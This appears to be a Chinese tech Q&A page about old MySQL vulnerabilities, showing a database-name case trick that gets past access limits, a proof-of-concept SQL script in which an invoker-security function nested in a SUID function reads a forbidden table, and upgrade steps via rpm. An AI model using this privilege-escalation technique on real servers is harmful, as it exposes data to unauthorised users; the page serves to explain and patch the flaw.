如何修改mysql server版本号避开漏洞

如何修改mysql server版本号避开漏洞,第1张

1、创建数据库

$ mysql -h my.mysql.server -u sample -p -A sample

Enter password:

Welcome to the MySQL monitor. Commands end with or \g.

Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql>create database another

ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql>create database sAmple

Query OK, 1 row affected (0.00 sec)

2、权限提升

--disable_warnings

drop database if exists mysqltest1

drop database if exists mysqltest2

drop function if exists f_suid

--enable_warnings

# Prepare playground

create database mysqltest1

create database mysqltest2

create user malory@localhost

grant all privileges on mysqltest1.* to malory@localhost

# Create harmless (but SUID!) function

create function f_suid(i int) returns int return 0

grant execute on function test.f_suid to malory@localhost

use mysqltest2

# Create table in which malory@localhost will be interested but to which

# he won't have any access

create table t1 (i int)

connect (malcon, localhost, malory,,mysqltest1)

# Correct malory@localhost don't have access to mysqltest2.t1

--error ER_TABLEACCESS_DENIED_ERROR

select * from mysqltest2.t1

# Create function which will allow to exploit security hole

delimiter |

create function f_evil ()

returns int

sql security invoker

begin

set @a:= current_user()

set @b:= (select count(*) from mysqltest2.t1)

return 0

end|

delimiter |

# Again correct

--error ER_TABLEACCESS_DENIED_ERROR

select f_evil()

select @a, @b

# Oops!!! it seems that f_evil() is executed in the context of

# f_suid() definer, so malory@locahost gets all info that he wants

select test.f_suid(f_evil())

select @a, @b

connection default

drop user malory@localhost

drop database mysqltest1

drop database mysqltest2

建议:

厂商补丁:MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

第一步:检查linux的 *** 作系统版本

代码如下:

cat /etc/issue

第二步:在mysql官网上下载5.7的版本

http://dev.mysql.com/downloads/file.php?id=451627

第三步:检查linux上以前安装的mysql版本

代码如下:

rpm -qa | grep mysql

第四步:如果出现mysql的一些安装版本,则通过以下命令进行删除

代码如下:

rpm -e --nodeps mysql-xxx

第五步:准备安装新版本的mysql-server

代码如下:

rpm -ivh MySQL-server-xxxx

第六步:启动mysql server

代码如下:

service mysql start

第七步:安装mysql client

代码如下:

rpm -ivh MySQL-client-xxx


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/7538547.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-06
下一篇 2023-04-06

发表评论

登录后才能评论

评论列表(0条)

保存